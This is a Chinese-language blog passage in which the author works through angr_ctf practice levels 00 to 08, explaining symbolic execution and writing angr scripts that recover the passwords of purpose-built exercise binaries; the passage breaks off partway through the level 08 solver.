pw0rld 发布的文章

安装angr框架

pip install pyvex
pip install unicorn
pip install simuvex
pip install angr 

我的环境:aconda虚拟的Python 3.7.10,下面用angr_ctf来做题增强我对angr框架的熟悉
题目地址:https://github.com/jakespringer/angr_ctf

参考资料

符号执行基础
初步理解angr框架
ctf-angr
angr官网

前置知识

前向符号执行入门

基本原理

符号执行是指在不执行程序的前提下,用符号值表示程序变量的值,然后模拟程序执行来进行相关分析。
符号执行分为过程内分析和过程间分析(又称全局分析)。
过程内分析是指只对单个过程的代码进行分析,全局分析指对整个软件代码进行上下文敏感的分析。所谓上下文敏感分析是指在当前函数入口点要考虑当前的函数间调用信息环境信息等。
程序的全局分析是在过程内分析的基础上进行,如果过程内分析中包含了函数调用,就引入了过程间分析。
image-20210810233240374)
过程内分析流程图
实例流程图:


image-20210810233255274)
代码对象构建控制流图(Control Flow Graph,CFG)是编译器内部用有向图表示一个程序过程的一种抽象数据结构,图中的节点表示一个程序基本块基本块是没有任何跳转的顺序语句代码块,图中的边表示代码中的跳转,它是有向边,起点和终点都是基本块。在CFG上从入口节点开始模拟执行,在遇到分支节点时,使用约束求解器判定哪条分支可行,并根据预先设计的路径调度策略实现对该过程所有路径的遍历分析,最后输出每条可执行路径的分析结果。其中约束求解是数学上的判定过程,形象地说是对一系列的约束方程进行求解。
image-20210810233304065
程序全局分析流程图
首先,为整个程序代码构建函数调用图(Call Graph,CG),在函数调用图中,节点表示函数,边表示函数间的调用关系。根据预设的全局分析调度策略,对CG中的每个节点(对应一个函数)进行过程内分析,最终给出CG每种可行的调用序列的分析结果。


image-20210810233311014
实例分析:程序会对test函数进行cfg分析,生成一个cfg控制流图,会拆分成入口enter子节点,各个基本程序块。上图可见,test总共包含了两个分支节点。紧接着,以符号值为输入,模拟代码执行,在遇到分支语句时,使用约束求解器判定这两条路径的可行性。
到这里,我觉得最为核心的约束求解器判定问题和符号值的模拟生成,这两个是符号执行的核心。

前沿问题:

路径状态空间爆炸:
复杂结构语义和操作语义的建模:如果有很多的分支?
程序全局分析:大规模的工程如何进行?

angr语法

三个入口区别

  • .blank_state():返回一个几乎没有初始化的 state 对象,当访问未初始化的数据时,将返回一个没有约束条件的符号值。
  • .entry_state():从主对象文件的入口点创建一个 state。
  • .full_init_state():与 entry_state() 类似,但执行不是从入口点开始,而是从一个特殊的 SimProcedure 开始,在执行到入口点之前调用必要的初始化函数。
  • .call_state():创建一个准备执行给定函数的 state。
password0 = claripy.BVS('password0', 32)  #生成一个bv32符号值
solution_state.se.eval(password0)  #将 BV32 对象转换为 Python int
solution0 = solution_state.se.eval(password0,cast_to=bytes)  #把BV32转成bytes
solution = ' '.join(map(str, [ solution0, solution1 ])) #使用map转换
 initial_state.memory.store(password1_address, password1) #往password1_address内存写入

注意

关于scanf多个参数,在新版本的angr中,已经支持这个操作。

00_angr_find

第一题应该相对简单一些,使用ida分析了一下程序的逻辑
image.png
输入一个密码,然后程序会对密码做了一个complex_function的处理
image.png
这题可以直接写爆破脚本把转换之后的密码爆破出来
image.png
但是为了学习angr,我决定使用angr来做这个的分析。

import angr 
from icecream import ic 
import sys
def burst():
    strs = "QWSYJIQP"
    for j in range(0,8):
        for i in range(64,90):
            answer = (3 * j + i - 65) % 26 + 65
    #       ic(ord(strs[j]),answer)
            if ord(strs[j]) == answer:
                ic(i,chr(i))
                break


def solution_angr():
    project = angr.Project('./00_angr_find') #导入工程入口
    initial_state = project.factory.entry_state() #获取程序的入口地址
    ic(initial_state)
    # 程序的执行需要初始化一个模拟程序状态的 SimState 对象:该对象包含了程序的内存、寄存器、文件系统数据等等模拟运行时动态变化的数据
    simulation = project.factory.simgr(initial_state) #创造一个simgr来分析这个二进制,从main开始执行
    print_good_address = 0x804867d  #跳转的地址,good job地址,从ida中分析出来的
    bad_address = 0x0804866B
    ic(simulation.explore(find=print_good_address,avoid=bad_address))#寻找走到good_address,避免bad,等于我们写的约束条件规则
    if simulation.found:
        solution_state = simulation.found[0]
        ic(sys.stdin.fileno())
        ic(solution_state.posix.dumps(0))
        #输入是0,输出是1
solution_angr()

说实话,这个print_good_address,在看官网脚本时候,给我的第一感觉是溢出的回调地址。仔细一想,这个走的是cfg控制流图,分析模拟了整个程序,所有分支的模拟过程,然后自己生成测试数据,来“fuzz”如何跳转到正确的地址。有一个问题就是:使用angr来解题,在我个人PC系统下,需要6s的时间,我个人感觉如果能针对性的生成测试数据,也许可以有效加速?

01_angr_avoid

这题一开始我以为是00的变种,一开始把分支情况考虑错了,以为需要避免Tty again的情况,虽然也能跑出来,但是耗时已经用了90多秒,这是不能接受的
image.png
于是,我重新ida分析了一下
image.png
题目应该想让避免succeed的这种情况,
image.png

.text:080485A8                 push    ebp
.text:080485A9                 mov     ebp, esp
.text:080485AB                 mov     should_succeed, 0
.text:080485B2                 nop
.text:080485B3                 pop     ebp
.text:080485B4                 retn

修改avoid地址为0x080485AB,跑出结果

ic| solution_state.posix.dumps(sys.stdin.fileno()): b'HUJOZMYS'
[Finished in 8.8s]

看了下官方的解答,官网使用的地址是0x080485A8,相差0.1s。我猜想是因为,约束求解器判定080485AB是错误的情况,而作者是直接在前面载入ebp,初始化的时候就当作了判定条件,相对而言,他减少了三条汇编指令。

题目疑问

在用ida分析时候,我陷入了一个僵局

int __cdecl maybe_good(const char *s1, const char *s2)
{
  int result; // eax

  if ( should_succeed && !strncmp(s1, s2, 8u) )
    result = puts("Good Job.");
  else
    result = puts("Try again.");
  return result;
}


void avoid_me()
{
  should_succeed = 0;
}

按照ida给出的源码,should_succeed = 0,因此无论我们输入什么都是不可能得到返回Good Job的。
我一开始怀疑是ida的报错,去看汇编代码

.text:080485B5 ; __unwind {
.text:080485B5                 push    ebp
.text:080485B6                 mov     ebp, esp
.text:080485B8                 sub     esp, 8
.text:080485BB                 movzx   eax, should_succeed ; eax置0
.text:080485C2                 test    al, al          ; al是ax的低8位,AX是EAX的低16位。例如
.text:080485C2                                         ; mov ax,3344h,那么eax的值将变为12343344h
.text:080485C4                 jz      short loc_80485EF
.text:080485C6                 sub     esp, 4
.text:080485C9                 push    8               ; n
.text:080485CB                 push    [ebp+s2]        ; s2
.text:080485CE                 push    [ebp+s1]        ; s1
.text:080485D1                 call    _strncmp
.text:080485D6                 add     esp, 10h
.text:080485D9                 test    eax, eax
.text:080485DB                 jnz     short loc_80485EF
.text:080485DD                 sub     esp, 0Ch
.text:080485E0                 push    offset aGoodJob ; "Good Job."
.text:080485E5                 call    _puts
.text:080485EA                 add     esp, 10h
.text:080485ED                 jmp     short loc_80485FF

重点看080485BB、080485C2、080485C4这三条汇编。关于这三条汇编我是这么理解的, should_succeed是0,然后movzx把eax寄存器给赋值0了,然后test al,al,jz就是eax寄存器低0位为0,就跳转。因为al是ax的低8位,ax又是eax的低16位,所以这玩意没分析错。到底是为啥?于是我决定使用gdb来动态调试一次。

b main
b *0x080485D6
b *0x080485DB

输入angr爆出来的HUJOZMYS,发现eax寄存器变成了1!
image.png
忽然想到之前ida反编译avoid_me报了一个big错误,现在看来可能是ida未编译出来的一些函数,在验证这个密码之后,取消了执行这个函数。
image.png
查看源码之后,的确如此。
image.png

02_angr_find_condition

这一个和之前很像,没什么难度,给你多了一个选择,可以不用在写地址,直接通过字符串来判断。

from icecream import ic
import angr
import sys


def successful(state):
    strs = state.posix.dumps(sys.stdout.fileno())
    #ic(strs)
    if 'Good' in str(strs):
        return True
    return False


def avoiderror(state):
    strs = state.posix.dumps(sys.stdout.fileno())
    if 'Try'  in str(strs):
        return True
    return False

def _00solution_angr():
    print_good_address = 0x080495CE  #跳转的地址,good job地址,从ida中分析出来的
    bad_address = 0x080495B9
    simulation.explore(find=print_good_address,avoid=bad_address)#寻找走到good_address,避免bad,等于我们写的约束条件规则
    if simulation.found:
        solution_state = simulation.found[0]
        ic(solution_state)
        ic(solution_state.posix.dumps(0))


project = angr.Project('./02_angr_find_condition')
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
_00solution_angr()

03_angr_symbolic_registers

第三题和前面不太一样,输入函数不太一样。而且从伪代码中看到,需要解开三个key。
(在新版本的angr中,已经支持这个操作)
修改寄存器

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // edx
  int v6; // [esp+4h] [ebp-14h]
  int v7; // [esp+8h] [ebp-10h]
  int v8; // [esp+Ch] [ebp-Ch]
  int v9; // [esp+Ch] [ebp-Ch]

  print_msg();
  printf("Enter the password: ");
  v3 = get_user_input();
  v8 = v4;
  v6 = complex_function_1(v3);
  v7 = complex_function_2();
  v9 = complex_function_3(v8);
  if ( v6 || v7 || v9 )
    puts("Try again.");
  else
    puts("Good Job.");
  return 0;
}

int get_user_input()
{
  int v1; // [esp+0h] [ebp-18h] BYREF
  int v2; // [esp+4h] [ebp-14h] BYREF
  int v3[4]; // [esp+8h] [ebp-10h] BYREF

  v3[1] = __readgsdword(0x14u);
  __isoc99_scanf("%x %x %x", &v1, &v2, v3);
  return v1;
}

输入函数,有多个输入变量,而angr不支持这种scanf,因此angr提供我们手动注入,来跳过这个函数。

.text:080488A6 ; __unwind {
.text:080488A6 lea     ecx, [esp+4]
.text:080488AA and     esp, 0FFFFFFF0h
.text:080488AD push    dword ptr [ecx-4]
.text:080488B0 push    ebp
.text:080488B1 mov     ebp, esp
.text:080488B3 push    ecx
.text:080488B4 sub     esp, 14h
.text:080488B7 call    print_msg
.text:080488BC sub     esp, 0Ch
.text:080488BF push    offset aEnterThePasswo ; "Enter the password: "
.text:080488C4 call    _printf
.text:080488C9 add     esp, 10h
.text:080488CC call    get_user_input
.text:080488D1 mov     [ebp+var_14], eax
.text:080488D4 mov     [ebp+var_10], ebx
.text:080488D7 mov     [ebp+var_C], edx
.text:080488DA sub     esp, 0Ch
.text:080488DD push    [ebp+var_14]
.text:080488E0 call    complex_function_1
.text:080488E5 add     esp, 10h

也就是把0x080488D1当做入口值,因为跳过了特殊的scanf,所以我们没有地方输入的。因此我们需要手动使得寄存器赋值。看汇编代码得知,需要把eax、ebx、edx三个寄存器赋值。根据angr语法,我们需要使用claripy.BVS来为他们创建符号值。

import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./03_angr_symbolic_registers"
  project = angr.Project(path_to_binary)


  start_address = 0x080488D1
  initial_state = project.factory.entry_state(addr=start_address)#入口选择


  password0 = claripy.BVS('password0', 32)#赋值
  password1 = claripy.BVS('password1', 32)
  password2 = claripy.BVS('password2', 32)

  initial_state.regs.eax = password0#注入寄存器
  initial_state.regs.ebx = password1
  initial_state.regs.edx = password2


  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    stdout_output = state.posix.dumps(1)#0是输入,1是输出
    return "Good" in str(stdout_output)

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return "Try" in str(stdout_output)

  simulation.explore(find=is_successful, avoid=should_abort)#寻找这条通路

  if simulation.found:
    solution_state = simulation.found[0]
    solution0 = solution_state.se.eval(password0)#将 BV32 对象转换为 Python int
    solution1 = solution_state.se.eval(password1)
    solution2 = solution_state.se.eval(password2)
    solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ]))
    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

04_angr_symbolic_stack

~这题是要补充栈数据,因为赋值是从栈中获取的,修改栈

int handle_user()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-10h] BYREF
  int v2[3]; // [esp+Ch] [ebp-Ch] BYREF

  __isoc99_scanf("%u %u", v2, &v1);
  v2[0] = complex_function0(v2[0]);
  v1 = complex_function1(v1);
  if ( v2[0] == 1726148847 && v1 == -1738470817 )
    result = puts("Good Job.");
  else
    result = puts("Try again.");
  return result;
}


ext:08048679 ; __unwind {
.text:08048679 push    ebp
.text:0804867A mov     ebp, esp
.text:0804867C sub     esp, 18h
.text:0804867F sub     esp, 4
.text:08048682 lea     eax, [ebp+var_10]
.text:08048685 push    eax
.text:08048686 lea     eax, [ebp+var_C]
.text:08048689 push    eax
.text:0804868A push    offset aUU      ; "%u %u"
.text:0804868F call    ___isoc99_scanf
.text:08048694 add     esp, 10h #这个地址不可以,查阅资料是回收scanf的一些操作
.text:08048697 mov     eax, [ebp+var_C]  #从栈中获取
.text:0804869A sub     esp, 0Ch
.text:0804869D push    eax
.text:0804869E call    complex_function0
.text:080486A3 add     esp, 10h
.text:080486A6 mov     [ebp+var_C], eax
.text:080486A9 mov     eax, [ebp+var_10]
.text:080486AC sub     esp, 0Ch
.text:080486AF push    eax
.text:080486B0 call    complex_function1
.text:080486B5 add     esp, 10h
.text:080486B8 mov     [ebp+var_10], eax
.text:080486BB mov     eax, [ebp+var_C]
.text:080486BE cmp     eax, 66E2F0EFh
.text:080486C3 jnz     short loc_80486CF

solution

import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./04_angr_symbolic_stack"
  project = angr.Project(path_to_binary)

  start_address = 0x08048697#第一个参数的地址
  initial_state = project.factory.entry_state(addr=start_address)

  initial_state.regs.ebp = initial_state.regs.esp#准备初始化一个栈

  password0 = claripy.BVS('password0', 32)
  password1 = claripy.BVS('password1', 32)

  padding_length_in_bytes = 8  # ida分析出来的栈大小是8长度
  initial_state.regs.esp -= padding_length_in_bytes #还原了一个8长度的栈

  initial_state.stack_push(password0)  #把数据推入栈中
  initial_state.stack_push(password1)

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    stdout_output = state.posix.dumps(1)
    return b'Good' in stdout_output

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return b'Try' in stdout_output

  simulation.explore(find=is_successful, avoid=should_abort)

  if simulation.found:
    solution_state = simulation.found[0]

    solution0 = solution_state.se.eval(password0)
    solution1 = solution_state.se.eval(password1)

    solution = ' '.join(map(str, [ solution0, solution1 ]))
    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

解题代码中初始化了一个栈,他的数据传入是从栈中获取,正因为我们跳过了___isoc99_scanf获取数据,这个时候栈是没有数据的,因此我们需要自己初始化一个栈。

05_angr_symbolic_memory

顾名思义,数据中内存中取得。这题思路是:像之前一样,直接跳过scanf,因为这个scanf有四个参数。
直接修改内存地址

import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./05_angr_symbolic_memory"
  project = angr.Project(path_to_binary)

  #.text:080485FE                 call    ___isoc99_scanf
  #.text:08048603                 add     esp, 20h
  #.text:08048606                 mov     [ebp+var_C], 0
  #.text:0804860D                 jmp     short loc_804863C

  start_address = 0x08048606 #绕过__isoc99_scanf
  initial_state = project.factory.blank_state(addr=start_address)

  #__isoc99_scanf("%8s %8s %8s %8s", user_input, &unk_A29FAA8, &unk_A29FAB0, &unk_A29FAB8);
  # %8s => 8*8
  password0 = claripy.BVS('password0', 64) 
  password1 = claripy.BVS('password1', 64)
  password2 = claripy.BVS('password2', 64)
  password3 = claripy.BVS('password3', 64)

  password0_address = 0x0A29FAA0 #寻找四个参数的地址
  password1_address = 0x0A29FAA8
  password2_address = 0x0A29FAB0
  password3_address = 0x0A29FAB8
  initial_state.memory.store(password0_address, password0)#往内存写值
  initial_state.memory.store(password1_address, password1)
  initial_state.memory.store(password2_address, password2)
  initial_state.memory.store(password3_address, password3)

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    stdout_output = state.posix.dumps(1)
    return b'Good' in stdout_output

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return b'Try' in stdout_output

  simulation.explore(find=is_successful, avoid=should_abort)

  if simulation.found:
    solution_state = simulation.found[0]
    solution0 = solution_state.se.eval(password0,cast_to=bytes)
    solution1 = solution_state.se.eval(password1,cast_to=bytes)
    solution2 = solution_state.se.eval(password2,cast_to=bytes)#转成bytes
    solution3 = solution_state.se.eval(password3,cast_to=bytes)
    #利用map转str 
    solution = ' '.join(map(bytes.decode, [ solution0, solution1,solution2,solution3]))

    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

06_angr_symbolic_dynamic_memory

这题输入的两个buffer0和buffer1都是采用了malloc随机分配地址

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // ebx
  char *v4; // ebx
  int v6; // [esp-10h] [ebp-1Ch]
  int i; // [esp+0h] [ebp-Ch]

  buffer0 = (char *)malloc(9u);
  buffer1 = (char *)malloc(9u);
  memset(buffer0, 0, 9u);
  memset(buffer1, 0, 9u);
  print_msg();
  printf("Enter the password: ");
  __isoc99_scanf("%8s %8s", buffer0, buffer1, v6);
  for ( i = 0; i <= 7; ++i )
  {
    v3 = &buffer0[i];
    *v3 = complex_function(buffer0[i], i);
    v4 = &buffer1[i];
    *v4 = complex_function(buffer1[i], i + 32);
  }
  if ( !strncmp(buffer0, "IQMEHECM", 8u) && !strncmp(buffer1, "PYBDSYBB", 8u) )
    puts("Good Job.");
  else
    puts("Try again.");
  free(buffer0);
  free(buffer1);
  return 0;
}

关于malloc

malloc()接受一个参数:所需的内存字节数。malloc()会找到合适的空闲内存块,但是这样的内存是匿名随机的。也就是说malloc()分配内存,但是不会为其赋名。然而它可以返回动态分配内存块的首字节地址,如果再把该地址赋值给指针变量,就可以通过指针变量访问这块内存。
malloc()的返回类型通常被定义为指向char的指针,从ANSI C标准开始后,malloc()的返回类型被定义为指向void的指针。
如果malloc()分配内存失败,将返回空指针(NULL)。
因此如果我们跳过了scanf,因此我们可以自己开辟一个内存空间,然后把这个内存空间指向buffer,同时把我们的符号值放到开辟的内存空间。

import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./06_angr_symbolic_dynamic_memory"
  project = angr.Project(path_to_binary)

  start_address = 0x0804869e
  initial_state = project.factory.blank_state(addr=start_address)

  password0 = claripy.BVS('password0', 64)
  password1 = claripy.BVS('password1', 64)

  fake_heap_address0 = 0x4444454  #开辟了一个内存空间,注意不能挨着
  pointer_to_malloc_memory_address0 = 0x0A79A118
  #把fake_heap_address0指向给pointer_to_malloc_memory_address0,同时注意是要声明endness端序
  initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness)
  fake_heap_address1 = 0x4444444 #开辟了一个内存空间,注意不能挨着
  pointer_to_malloc_memory_address1 = 0x0A79A120
  initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness)

  initial_state.memory.store(fake_heap_address0, password0)#往开辟的地址空间,写入符号值
  initial_state.memory.store(fake_heap_address1, password1)

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    stdout_output = state.posix.dumps(1)
    return b'Good' in stdout_output

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return b'Try' in stdout_output

  simulation.explore(find=is_successful, avoid=should_abort)

  if simulation.found:
    solution_state = simulation.found[0]
    solution0 = solution_state.se.eval(password0,cast_to=bytes)
    solution1 = solution_state.se.eval(password1,cast_to=bytes)
    solution = ' '.join(map(bytes.decode, [ solution0, solution1]))
    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

小疑问

在05_angr_symbolic_memory的时候,可以使用直接定位他的分支内存,去寻找,也就是说用这个

simulation.explore(find=print_good_address,avoid=bad_address)

因为在新版的angr中,已经增强队多个参数的scanf的支持,但是这题目中,同样使用这种方法,却失败了。

import angr
import claripy
import sys
from icecream import ic
def solution_angr():
  project = angr.Project('./06_angr_symbolic_dynamic_memory') #导入工程入口
  initial_state = project.factory.entry_state() #获取程序的入口地址
  ic(initial_state)
  # 程序的执行需要初始化一个模拟程序状态的 SimState 对象:该对象包含了程序的内存、寄存器、文件系统数据等等模拟运行时动态变化的数据
  simulation = project.factory.simgr(initial_state) #创造一个simgr来分析这个二进制,从main开始执行
  print_good_address = 0x0804875E  #跳转的地址,good job地址,从ida中分析出来的
  bad_address = 0x0804874C
  ic(simulation.explore(find=print_good_address,avoid=bad_address))#寻找走到good_address,避免bad,等于我们写的约束条件规则
  if simulation.found:
    solution_state = simulation.found[0]
    ic(sys.stdin.fileno())
    ic(solution_state.posix.dumps(0))
solution_angr()

#---------------------------------------------------------------------------------------------------------------------------
#output
'''
ic| Error: Failed to access the underlying source code for analysis. Was ic() invoked in a REPL (e.g. from the command line), a frozen application (e.g. packaged with PyInstaller), or did the underlying source code change during execution?
WARNING | 2021-08-07 10:18:38,320 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-08-07 10:18:38,320 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-08-07 10:18:38,320 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-08-07 10:18:38,320 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-08-07 10:18:38,321 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-08-07 10:18:38,321 | angr.storage.memory_mixins.default_filler_mixin | Filling register edi with 4 unconstrained bytes referenced from 0x80487a1 (__libc_csu_init+0x1 in 06_angr_symbolic_dynamic_memory (0x80487a1))
WARNING | 2021-08-07 10:18:38,324 | angr.storage.memory_mixins.default_filler_mixin | Filling register ebx with 4 unconstrained bytes referenced from 0x80487a3 (__libc_csu_init+0x3 in 06_angr_symbolic_dynamic_memory (0x80487a3))
WARNING | 2021-08-07 10:18:42,872 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0xc0000f49 with 7 unconstrained bytes referenced from 0xa800020 (strncmp+0x0 in extern-address space (0x20))
WARNING | 2021-08-07 10:18:42,873 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0xc0000f59 with 104 unconstrained bytes referenced from 0xa800020 (strncmp+0x0 in extern-address space (0x20))
WARNING | 2021-08-07 10:18:44,209 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0xc0000fc1 with 16 unconstrained bytes referenced from 0xa800020 (strncmp+0x0 in extern-address space (0x20))
ic| Error: Failed to access the underlying source code for analysis. Was ic() invoked in a REPL (e.g. from the command line), a frozen application (e.g. packaged with PyInstaller), or did the underlying source code change during execution?
ic| Error: Failed to access the underlying source code for analysis. Was ic() invoked in a REPL (e.g. from the command line), a frozen application (e.g. packaged with PyInstaller), or did the underlying source code change during execution?
ic| Error: Failed to access the underlying source code for analysis. Was ic() invoked in a REPL (e.g. from the command line), a frozen application (e.g. packaged with PyInstaller), or did the underlying source code change during execution?
[Finished in 22.4s]

'''

07_angr_symbolic_file

这关和文件系统有关,新版的angr已经取消symbolic_file_backing_memory,因此官方的解题代码需要修改一下
首先来看看反汇编出来的伪代码

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+Ch] [ebp-Ch]

  memset(buffer, 0, sizeof(buffer));
  print_msg();
  printf("Enter the password: ");
  __isoc99_scanf("%64s", buffer);# 64*8
  ignore_me((int)buffer, 0x40u); # 把scanf写入文件
  memset(buffer, 0, sizeof(buffer));
  fp = fopen("WCEXPXBW.txt", "rb");#再打开
  fread(buffer, 1u, 0x40u, fp);#读取
  fclose(fp);
  unlink("WCEXPXBW.txt");
  for ( i = 0; i <= 7; ++i )
    *(_BYTE *)(i + 134520992) = complex_function(*(char *)(i + 134520992), i);
  if ( strncmp(buffer, "GHTVZDUX", 9u) )
  {
    puts("Try again.");
    exit(1);
  }
  puts("Good Job.");
  exit(0);
}

unsigned int __cdecl ignore_me(int a1, size_t n)
{
  void *v2; // esp
  _BYTE v4[12]; // [esp+0h] [ebp-28h] BYREF
  void *ptr; // [esp+Ch] [ebp-1Ch]
  size_t v6; // [esp+10h] [ebp-18h]
  void *s; // [esp+14h] [ebp-14h]
  FILE *stream; // [esp+18h] [ebp-10h]
  unsigned int v9; // [esp+1Ch] [ebp-Ch]

  ptr = (void *)a1;
  v9 = __readgsdword(0x14u);
  v6 = n - 1;
  v2 = alloca(16 * ((n + 15) / 0x10));
  s = v4;
  memset(v4, 0, n);
  unlink("WCEXPXBW.txt");
  stream = fopen("WCEXPXBW.txt", "a+b");
  fwrite(ptr, 1u, n, stream);
  fseek(stream, 0, 0);
  __isoc99_fscanf(stream, "%64s", s);
  fseek(stream, 0, 0);
  fwrite(s, 1u, n, stream);
  fclose(stream);
  return __readgsdword(0x14u) ^ v9;
}

这关可以使用很多解法来求解,为了学习angr如何自定义文件系统,就是用angr来模拟一个文件。
总共有以下几步:

  • 选好初始的入口点,需要避开ignore_me的文件生成
  • 使用Angr来模拟一个文件系统
  • 初始化符号值
import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./07_angr_symbolic_file"
  project = angr.Project(path_to_binary)

  start_address = 0x080488DB #按理说只要绕过ignore_me,就可以

  filename = 'WCEXPXBW.txt'  # 文件名
  symbolic_file_size_bytes = 64 
  #ignore_me((int)buffer, 0x40u);
  #生成符号值,符号值规则64长度,每个8字节
  password = claripy.BVS('password', symbolic_file_size_bytes * 8)
  password_file = angr.SimFile(filename, content=password, size=symbolic_file_size_bytes)
  initial_state = project.factory.blank_state(
          addr = start_address,
          fs = {filename: password_file}
  ) #新版中这样模拟文件系统

  simulation = project.factory.simgr(initial_state) #开始模拟

  def is_successful(state):
    stdout_output = state.posix.dumps(1)
    return b'Good' in stdout_output

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return b'Try' in stdout_output

  simulation.explore(find=is_successful, avoid=should_abort)

  if simulation.found:
    solution_state = simulation.found[0]
    solution0 = solution_state.se.eval(password,cast_to=bytes)
    solution = ' '.join(map(bytes.decode, [ solution0]))
    ic(solution)
  else:
    ic('Could not find the solution')

if __name__ == '__main__':
  main()

第二种解法

直接覆盖buffer,绕过读取文件的过程。

def answer2():
  path_to_binary = "./07_angr_symbolic_file"
  project = angr.Project(path_to_binary)

  start_address = 0x08048941 #都绕过,绕过fread,直接内存覆盖buffer
  initial_state = project.factory.blank_state(addr=start_address)

  buffer_address0 = 0x0804A0A0 #buffer地址

  password0 = claripy.BVS('password0', 64)#生成64位的
  initial_state.memory.store(buffer_address0, password0)

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    stdout_output = state.posix.dumps(1)
    return b'Good' in stdout_output

  def should_abort(state):
    stdout_output = state.posix.dumps(1)
    return b'Try' in stdout_output

  simulation.explore(find=is_successful, avoid=should_abort)

  if simulation.found:
    solution_state = simulation.found[0]
    solution0 = solution_state.se.eval(password0,cast_to=bytes)
    solution = ' '.join(map(bytes.decode, [ solution0]))
    ic(solution)
  else:
    ic('Could not find the solution')

08_angr_constraints

这关终于有点难度了,要加上限制条件,避免路径爆炸

路径爆炸

Angr是基于符号执行,对于程序存在循环时,就有可能存在路径爆炸问题,因为符号执行会尽量遍历所有的路径,所以每次循环之后会形成至少两个分支,当循环的次数足够多时,就会造成路径爆炸,整个机器的内存会被耗尽。
本题中,就存在这个循环导致的路径爆炸问题。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+Ch] [ebp-Ch]

  print_msg();
  qmemcpy(&password, "BWYRUBQCMVSBRGFU", 16);
  memset(&buffer, 0, 0x11u);
  printf("Enter the password: ");
  __isoc99_scanf("%16s", &buffer);
  for ( i = 0; i <= 15; ++i )
    *(_BYTE *)(i + 134520912) = complex_function(*(char *)(i + 134520912), 15 - i);
  if ( check_equals_BWYRUBQCMVSBRGFU(&buffer, 16) )
    puts("Good Job.");
  else
    puts("Try again.");
  return 0;
}

_BOOL4 __cdecl check_equals_BWYRUBQCMVSBRGFU(int a1, unsigned int a2)
{
  int v3; // [esp+8h] [ebp-8h]
  unsigned int i; // [esp+Ch] [ebp-4h]

  v3 = 0;
  for ( i = 0; i < a2; ++i )
  {
    if ( *(_BYTE *)(i + a1) == *(_BYTE *)(i + 134520896) ) # password
      ++v3;
  }
  return v3 == a2;
}

可以看到check_equals_BWYRUBQCMVSBRGFU中存在for循环,每一个循环都存在一个if,传入a2是16,也就是说这里的遍历范围变成了2^16,cpu直接爆炸。
查看伪代码,看到这里和一个指针做了对比,可以从其汇编地址得到0x804A040h,相对应password

.text:0804857B
.text:0804857B loc_804857B:
.text:0804857B mov     edx, [ebp+var_4]
.text:0804857E mov     eax, [ebp+arg_0]
.text:08048581 add     eax, edx
.text:08048583 movzx   edx, byte ptr [eax]
.text:08048586 mov     eax, [ebp+var_4]
.text:08048589 add     eax, 804A040h
.text:0804858E movzx   eax, byte ptr [eax]
.text:08048591 cmp     dl, al
.text:08048593 jnz     short loc_8048599

因此check_equals_BWYRUBQCMVSBRGFU需要做对比的password是 BWYRUBQCMVSBRGFU
总结如下:
因为代码中存在check_equals_BWYRUBQCMVSBRGFU,这个函数会造成大量不必要的分支,造成angr路径空间爆炸问题,所以我们需要在其直接增加限制,筛选出符合这个限制的路径。
这题并没有像之前一样使用"Good Job"来判定,而是寻找对应分支来绕过complex_function,接着添加限制,来求解。

# 编译的代码
# #define REFERENCE_PASSWORD = "AABBCCDDEEFFGGHH";
# int check_equals_AABBCCDDEEFFGGHH(char* to_check, size_t length) {
#   uint32_t num_correct = 0;
#   for (int i=0; i<length; ++i) {
#     if (to_check[i] == REFERENCE_PASSWORD[i]) {
#       num_correct += 1;
#     }
#   }
#   return num_correct == length;
# }
#
# ...
# 
# char* input = user_input();
# char* encrypted_input = complex_function(input);
# if (check_equals_AABBCCDDEEFFGGHH(encrypted_input, 16)) {
#   puts("Good Job.");
# } else {
#   puts("Try again.");
# }
#
# 计算机将需要在每次调用循环中的if语句时进行分支,则会导致2^16 = 65,536个分支


import angr
import claripy
import sys
from icecream import ic

def main():
  path_to_binary = "./08_angr_constraints"
  project = angr.Project(path_to_binary)

  start_address = 0x0804862A
